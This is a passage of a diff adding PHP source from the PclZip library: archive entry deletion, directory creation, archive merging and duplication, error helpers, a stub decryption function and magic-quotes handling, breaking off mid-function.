+      $v_header_list[$v_nb_extracted] = array();
+      if (($v_result = $this->privReadCentralFileHeader($v_header_list[$v_nb_extracted])) != 1)
+      {
+        // ----- Close the zip file
+        $this->privCloseFd();
+
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+        return $v_result;
+      }
+
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Filename (index '$i') : '".$v_header_list[$v_nb_extracted]['stored_filename']."'");
+
+      // ----- Store the index
+      $v_header_list[$v_nb_extracted]['index'] = $i;
+
+      // ----- Look for the specific extract rules
+      $v_found = false;
+
+      // ----- Look for extract by name rule
+      if (   (isset($p_options[PCLZIP_OPT_BY_NAME]))
+          && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extract with rule 'ByName'");
+
+          // ----- Look if the filename is in the list
+          for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_found); $j++) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Compare with file '".$p_options[PCLZIP_OPT_BY_NAME][$j]."'");
+
+              // ----- Look for a directory
+              if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The searched item is a directory");
+
+                  // ----- Look if the directory is in the filename path
+                  if (   (strlen($v_header_list[$v_nb_extracted]['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
+                      && (substr($v_header_list[$v_nb_extracted]['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
+                      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The directory is in the file path");
+                      $v_found = true;
+                  }
+                  elseif (   (($v_header_list[$v_nb_extracted]['external']&0x00000010)==0x00000010) /* Indicates a folder */
+                          && ($v_header_list[$v_nb_extracted]['stored_filename'].'/' == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
+                      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The entry is the searched directory");
+                      $v_found = true;
+                  }
+              }
+              // ----- Look for a filename
+              elseif ($v_header_list[$v_nb_extracted]['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The file is the right one.");
+                  $v_found = true;
+              }
+          }
+      }
+
+      // ----- Look for extract by ereg rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_EREG]))
+               && ($p_options[PCLZIP_OPT_BY_EREG] != "")) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extract by ereg '".$p_options[PCLZIP_OPT_BY_EREG]."'");
+
+          if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header_list[$v_nb_extracted]['stored_filename'])) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Filename match the regular expression");
+              $v_found = true;
+          }
+      }
+
+      // ----- Look for extract by preg rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_PREG]))
+               && ($p_options[PCLZIP_OPT_BY_PREG] != "")) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extract with rule 'ByEreg'");
+
+          if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header_list[$v_nb_extracted]['stored_filename'])) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Filename match the regular expression");
+              $v_found = true;
+          }
+      }
+
+      // ----- Look for extract by index rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_INDEX]))
+               && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extract with rule 'ByIndex'");
+
+          // ----- Look if the index is in the list
+          for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_found); $j++) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Look if index '$i' is in [".$p_options[PCLZIP_OPT_BY_INDEX][$j]['start'].",".$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']."]");
+
+              if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Found as part of an index range");
+                  $v_found = true;
+              }
+              if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Do not look this index range for next loop");
+                  $j_start = $j+1;
+              }
+
+              if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Index range is greater than index, stop loop");
+                  break;
+              }
+          }
+      }
+      else {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "No argument mean remove all file");
+      	$v_found = true;
+      }
+
+      // ----- Look for deletion
+      if ($v_found)
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File '".$v_header_list[$v_nb_extracted]['stored_filename']."', index '$i' need to be deleted");
+        unset($v_header_list[$v_nb_extracted]);
+      }
+      else
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File '".$v_header_list[$v_nb_extracted]['stored_filename']."', index '$i' will not be deleted");
+        $v_nb_extracted++;
+      }
+    }
+
+    // ----- Look if something need to be deleted
+    if ($v_nb_extracted > 0) {
+
+        // ----- Creates a temporay file
+        $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
+
+        // ----- Creates a temporary zip archive
+        $v_temp_zip = new PclZip($v_zip_temp_name);
+
+        // ----- Open the temporary zip file in write mode
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary write mode");
+        if (($v_result = $v_temp_zip->privOpenFd('wb')) != 1) {
+            $this->privCloseFd();
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+            return $v_result;
+        }
+
+        // ----- Look which file need to be kept
+        for ($i=0; $i<sizeof($v_header_list); $i++) {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Keep entry index '$i' : '".$v_header_list[$i]['filename']."'");
+
+            // ----- Calculate the position of the header
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Offset='". $v_header_list[$i]['offset']."'");
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position before rewind : ".ftell($this->zip_fd)."'");
+            @rewind($this->zip_fd);
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position after rewind : ".ftell($this->zip_fd)."'");
+            if (@fseek($this->zip_fd,  $v_header_list[$i]['offset'])) {
+                // ----- Close the zip file
+                $this->privCloseFd();
+                $v_temp_zip->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Error log
+                PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+                // ----- Return
+                //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+                return PclZip::errorCode();
+            }
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position after fseek : ".ftell($this->zip_fd)."'");
+
+            // ----- Read the file header
+            $v_local_header = array();
+            if (($v_result = $this->privReadFileHeader($v_local_header)) != 1) {
+                // ----- Close the zip file
+                $this->privCloseFd();
+                $v_temp_zip->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Return
+                //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+                return $v_result;
+            }
+            
+            // ----- Check that local file header is same as central file header
+            if ($this->privCheckFileHeaders($v_local_header,
+			                                $v_header_list[$i]) != 1) {
+                // TBC
+            }
+            unset($v_local_header);
+
+            // ----- Write the file header
+            if (($v_result = $v_temp_zip->privWriteFileHeader($v_header_list[$i])) != 1) {
+                // ----- Close the zip file
+                $this->privCloseFd();
+                $v_temp_zip->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Return
+                //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+                return $v_result;
+            }
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Offset for this file is '".$v_header_list[$i]['offset']."'");
+
+            // ----- Read/write the data block
+            if (($v_result = PclZipUtilCopyBlock($this->zip_fd, $v_temp_zip->zip_fd, $v_header_list[$i]['compressed_size'])) != 1) {
+                // ----- Close the zip file
+                $this->privCloseFd();
+                $v_temp_zip->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Return
+                //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+                return $v_result;
+            }
+        }
+
+        // ----- Store the offset of the central dir
+        $v_offset = @ftell($v_temp_zip->zip_fd);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "New offset of central dir : $v_offset");
+
+        // ----- Re-Create the Central Dir files header
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Creates the new central directory");
+        for ($i=0; $i<sizeof($v_header_list); $i++) {
+            // ----- Create the file header
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Offset of file : ".$v_header_list[$i]['offset']);
+            if (($v_result = $v_temp_zip->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
+                $v_temp_zip->privCloseFd();
+                $this->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Return
+                //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+                return $v_result;
+            }
+
+            // ----- Transform the header to a 'usable' info
+            $v_temp_zip->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
+        }
+
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Creates the central directory footer");
+
+        // ----- Zip file comment
+        $v_comment = '';
+        if (isset($p_options[PCLZIP_OPT_COMMENT])) {
+          $v_comment = $p_options[PCLZIP_OPT_COMMENT];
+        }
+
+        // ----- Calculate the size of the central header
+        $v_size = @ftell($v_temp_zip->zip_fd)-$v_offset;
+
+        // ----- Create the central dir footer
+        if (($v_result = $v_temp_zip->privWriteCentralHeader(sizeof($v_header_list), $v_size, $v_offset, $v_comment)) != 1) {
+            // ----- Reset the file list
+            unset($v_header_list);
+            $v_temp_zip->privCloseFd();
+            $this->privCloseFd();
+            @unlink($v_zip_temp_name);
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+            return $v_result;
+        }
+
+        // ----- Close
+        $v_temp_zip->privCloseFd();
+        $this->privCloseFd();
+
+        // ----- Delete the zip file
+        // TBC : I should test the result ...
+        @unlink($this->zipname);
+
+        // ----- Rename the temporary file
+        // TBC : I should test the result ...
+        //@rename($v_zip_temp_name, $this->zipname);
+        PclZipUtilRename($v_zip_temp_name, $this->zipname);
+    
+        // ----- Destroy the temporary archive
+        unset($v_temp_zip);
+    }
+    
+    // ----- Remove every files : reset the file
+    else if ($v_central_dir['entries'] != 0) {
+        $this->privCloseFd();
+
+        if (($v_result = $this->privOpenFd('wb')) != 1) {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+          return $v_result;
+        }
+
+        if (($v_result = $this->privWriteCentralHeader(0, 0, 0, '')) != 1) {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+          return $v_result;
+        }
+
+        $this->privCloseFd();
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privDirCheck()
+  // Description :
+  //   Check if a directory exists, if not it creates it and all the parents directory
+  //   which may be useful.
+  // Parameters :
+  //   $p_dir : Directory path to check.
+  // Return Values :
+  //    1 : OK
+  //   -1 : Unable to create directory
+  // --------------------------------------------------------------------------------
+  function privDirCheck($p_dir, $p_is_dir=false)
+  {
+    $v_result = 1;
+
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privDirCheck", "entry='$p_dir', is_dir='".($p_is_dir?"true":"false")."'");
+
+    // ----- Remove the final '/'
+    if (($p_is_dir) && (substr($p_dir, -1)=='/'))
+    {
+      $p_dir = substr($p_dir, 0, strlen($p_dir)-1);
+    }
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Looking for entry '$p_dir'");
+
+    // ----- Check the directory availability
+    if ((is_dir($p_dir)) || ($p_dir == ""))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, "'$p_dir' is a directory");
+      return 1;
+    }
+
+    // ----- Extract parent directory
+    $p_parent_dir = dirname($p_dir);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Parent directory is '$p_parent_dir'");
+
+    // ----- Just a check
+    if ($p_parent_dir != $p_dir)
+    {
+      // ----- Look for parent directory
+      if ($p_parent_dir != "")
+      {
+        if (($v_result = $this->privDirCheck($p_parent_dir)) != 1)
+        {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+          return $v_result;
+        }
+      }
+    }
+
+    // ----- Create the directory
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Create directory '$p_dir'");
+    if (!@mkdir($p_dir, 0777))
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, "Unable to create directory '$p_dir'");
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result, "Directory '$p_dir' created");
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privMerge()
+  // Description :
+  //   If $p_archive_to_add does not exist, the function exit with a success result.
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privMerge(&$p_archive_to_add)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privMerge", "archive='".$p_archive_to_add->zipname."'");
+    $v_result=1;
+
+    // ----- Look if the archive_to_add exists
+    if (!is_file($p_archive_to_add->zipname))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Archive to add does not exist. End of merge.");
+
+      // ----- Nothing to merge, so merge is a success
+      $v_result = 1;
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Look if the archive exists
+    if (!is_file($this->zipname))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Archive does not exist, duplicate the archive_to_add.");
+
+      // ----- Do a duplicate
+      $v_result = $this->privDuplicate($p_archive_to_add->zipname);
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Open the zip file
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+    if (($v_result=$this->privOpenFd('rb')) != 1)
+    {
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      $this->privCloseFd();
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Go to beginning of File
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position in zip : ".ftell($this->zip_fd)."'");
+    @rewind($this->zip_fd);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position in zip : ".ftell($this->zip_fd)."'");
+
+    // ----- Open the archive_to_add file
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open archive_to_add in binary read mode");
+    if (($v_result=$p_archive_to_add->privOpenFd('rb')) != 1)
+    {
+      $this->privCloseFd();
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir_to_add = array();
+    if (($v_result = $p_archive_to_add->privReadEndCentralDir($v_central_dir_to_add)) != 1)
+    {
+      $this->privCloseFd();
+      $p_archive_to_add->privCloseFd();
+
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Go to beginning of File
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position in archive_to_add : ".ftell($p_archive_to_add->zip_fd)."'");
+    @rewind($p_archive_to_add->zip_fd);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position in archive_to_add : ".ftell($p_archive_to_add->zip_fd)."'");
+
+    // ----- Creates a temporay file
+    $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
+
+    // ----- Open the temporary file in write mode
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+    if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
+    {
+      $this->privCloseFd();
+      $p_archive_to_add->privCloseFd();
+
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Copy the files from the archive to the temporary file
+    // TBC : Here I should better append the file and go back to erase the central dir
+    $v_size = $v_central_dir['offset'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+      $v_buffer = fread($this->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Copy the files from the archive_to_add into the temporary file
+    $v_size = $v_central_dir_to_add['offset'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+      $v_buffer = fread($p_archive_to_add->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Store the offset of the central dir
+    $v_offset = @ftell($v_zip_temp_fd);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "New offset of central dir : $v_offset");
+
+    // ----- Copy the block of file headers from the old archive
+    $v_size = $v_central_dir['size'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+      $v_buffer = @fread($this->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Copy the block of file headers from the archive_to_add
+    $v_size = $v_central_dir_to_add['size'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+      $v_buffer = @fread($p_archive_to_add->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Merge the file comments
+    $v_comment = $v_central_dir['comment'].' '.$v_central_dir_to_add['comment'];
+
+    // ----- Calculate the size of the (new) central header
+    $v_size = @ftell($v_zip_temp_fd)-$v_offset;
+
+    // ----- Swap the file descriptor
+    // Here is a trick : I swap the temporary fd with the zip fd, in order to use
+    // the following methods on the temporary fil and not the real archive fd
+    $v_swap = $this->zip_fd;
+    $this->zip_fd = $v_zip_temp_fd;
+    $v_zip_temp_fd = $v_swap;
+
+    // ----- Create the central dir footer
+    if (($v_result = $this->privWriteCentralHeader($v_central_dir['entries']+$v_central_dir_to_add['entries'], $v_size, $v_offset, $v_comment)) != 1)
+    {
+      $this->privCloseFd();
+      $p_archive_to_add->privCloseFd();
+      @fclose($v_zip_temp_fd);
+      $this->zip_fd = null;
+
+      // ----- Reset the file list
+      unset($v_header_list);
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Swap back the file descriptor
+    $v_swap = $this->zip_fd;
+    $this->zip_fd = $v_zip_temp_fd;
+    $v_zip_temp_fd = $v_swap;
+
+    // ----- Close
+    $this->privCloseFd();
+    $p_archive_to_add->privCloseFd();
+
+    // ----- Close the temporary file
+    @fclose($v_zip_temp_fd);
+
+    // ----- Delete the zip file
+    // TBC : I should test the result ...
+    @unlink($this->zipname);
+
+    // ----- Rename the temporary file
+    // TBC : I should test the result ...
+    //@rename($v_zip_temp_name, $this->zipname);
+    PclZipUtilRename($v_zip_temp_name, $this->zipname);
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privDuplicate()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privDuplicate($p_archive_filename)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privDuplicate", "archive_filename='$p_archive_filename'");
+    $v_result=1;
+
+    // ----- Look if the $p_archive_filename exists
+    if (!is_file($p_archive_filename))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Archive to duplicate does not exist. End of duplicate.");
+
+      // ----- Nothing to duplicate, so duplicate is a success.
+      $v_result = 1;
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Open the zip file
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+    if (($v_result=$this->privOpenFd('wb')) != 1)
+    {
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Open the temporary file in write mode
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+    if (($v_zip_temp_fd = @fopen($p_archive_filename, 'rb')) == 0)
+    {
+      $this->privCloseFd();
+
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive file \''.$p_archive_filename.'\' in binary write mode');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Copy the files from the archive to the temporary file
+    // TBC : Here I should better append the file and go back to erase the central dir
+    $v_size = filesize($p_archive_filename);
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Read $v_read_size bytes");
+      $v_buffer = fread($v_zip_temp_fd, $v_read_size);
+      @fwrite($this->zip_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Close
+    $this->privCloseFd();
+
+    // ----- Close the temporary file
+    @fclose($v_zip_temp_fd);
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privErrorLog()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function privErrorLog($p_error_code=0, $p_error_string='')
+  {
+    if (PCLZIP_ERROR_EXTERNAL == 1) {
+      PclError($p_error_code, $p_error_string);
+    }
+    else {
+      $this->error_code = $p_error_code;
+      $this->error_string = $p_error_string;
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privErrorReset()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function privErrorReset()
+  {
+    if (PCLZIP_ERROR_EXTERNAL == 1) {
+      PclErrorReset();
+    }
+    else {
+      $this->error_code = 0;
+      $this->error_string = '';
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privDecrypt()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privDecrypt($p_encryption_header, &$p_buffer, $p_size, $p_crc)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::privDecrypt', "size=".$p_size."");
+    $v_result=1;
+    
+    // ----- To Be Modified ;-)
+    $v_pwd = "test";
+    
+    $p_buffer = PclZipUtilZipDecrypt($p_buffer, $p_size, $p_encryption_header,
+	                                 $p_crc, $v_pwd);
+    
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privDisableMagicQuotes()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privDisableMagicQuotes()
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::privDisableMagicQuotes', "");
+    $v_result=1;
+
+    // ----- Look if function exists
+    if (   (!function_exists("get_magic_quotes_runtime"))
+	    || (!function_exists("set_magic_quotes_runtime"))) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Functions *et_magic_quotes_runtime are not supported");
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+	}
+
+    // ----- Look if already done
+    if ($this->magic_quotes_status != -1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "magic_quote already disabled");
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+	}
+
+	// ----- Get and memorize the magic_quote value
+	$this->magic_quotes_status = @get_magic_quotes_runtime();
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Current magic_quotes_runtime status is '".($this->magic_quotes_status==0?'disable':'enable')."'");
+
+	// ----- Disable magic_quotes
+	if ($this->magic_quotes_status == 1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Disable magic_quotes");
+	  @set_magic_quotes_runtime(0);
+	}
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privSwapBackMagicQuotes()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privSwapBackMagicQuotes()
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::privSwapBackMagicQuotes', "");
+    $v_result=1;
+
+    // ----- Look if function exists
